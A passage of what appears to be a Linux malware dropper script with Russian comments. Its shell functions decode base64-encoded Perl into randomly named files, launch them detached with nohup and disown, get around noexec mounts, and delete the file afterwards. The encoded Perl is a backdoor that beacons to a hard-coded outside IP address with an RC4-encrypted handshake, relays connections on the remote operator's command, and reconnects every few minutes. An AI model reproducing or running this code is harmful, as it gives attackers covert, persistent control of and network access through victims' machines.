JbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_914c6520() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTknOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA